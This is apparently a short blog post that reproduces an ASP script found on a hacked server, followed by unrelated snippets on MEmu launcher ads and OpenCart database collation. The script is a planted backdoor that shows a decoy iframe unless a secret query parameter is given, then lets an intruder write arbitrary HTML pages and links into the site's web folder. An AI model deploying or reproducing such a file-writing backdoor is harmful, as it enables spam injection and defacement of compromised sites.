Skip to main content

useless asp stuff found on an hacked server

useless asp  stuff found on an hacked server

<%
if request.QueryString("1")<>2 then
response.Write "<iframe src=""http://127.0.0.1"" width=100% height=100% frameborder=0></iframe>"
response.End()
end if
%>
<%
if request.Form("c")<>"" then
randomize
shuliang=Int((10000000 - 1 + 10000000) * Rnd + 1)
title=Replace(request.Form("title")," ","-")
path1=replace(server.mappath("1.asp"),"1.asp","")
path=path1&title&"-"&shuliang&".html"
dbfile=path1&"1.htm"
response.Write path&"<br>"
response.Write dbfile&"<br>"
str1=Replace(request.Form("c"),"<br><","<")&"</body></html>"
str2="<a href="&title&"-"&shuliang&".html"">"&request.Form("title")&"</a>"
response.Write str1&"<br>"
response.Write str2&"<br>"
set myfso = Server.CreateObject("Scripting.FileSystemObject")
set myfile1 = myfso.CreateTextFile(path,true)
set myfile2 = myfso.CreateTextFile(dbfile,true)
        myfile1.WriteLine(str1)
        myfile1.close
            myfile2.WriteLine(str2)
        myfile2.close
        set myfso = nothing

response.Write "<font color=red>Good Luck!</font>"
end if
%>
<title>MS</title>
SD
<form action="" method="post">
  <input type="text" size=48 name="title" value='' />
  <input type="submit" id="b" value="J8"><br>
<textarea name="c" cols=60 rows=9></textarea>
</form>
<p></p>

Comments

Popular posts from this blog

2022 - Remove (the too many) Ads from Memu launcher

Simple method Download from pureapk "MEmu Launcher2" ex: MEmu Launcher2_v6.0.9_apkpure.com Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar) Longer method Install "Export Apk" Export the memu launcher2  Install purify https://github.com/echo-devim/purify/raw/master/Purify.apk use purify with the exported memu launcher 2 Install "System app remover" (root) remove from system apps the "memu launcher 2" import the "purified" MEmu Launcher2 apk with the Memu utility ("apk" on the right toolbar)      

Database Collation when installing Opencart 3.x, 4.x

  To avoid several problems the database collation for opencart should be as follows: - for Opencart 4.0.1.1 and above it should be " utf8mb4_general_ci " - for Opencart 1.5.51 (Opencart  2.x, Opencart 3.x ) up to Opencart 4.0.1.0 the collation should be " utf8_general_ci " - for Opencart 1.4.1 up to Opencart 1.5.4.1 the collation should be " utf8_bin " - for Opencart <1.1.1 up to Opencart 1.4.0 the collation should be " utf8_unicode_ci " If you are using the latest version of mysql always use " utf8mb4_general_ci ". Never use UTF8mb3*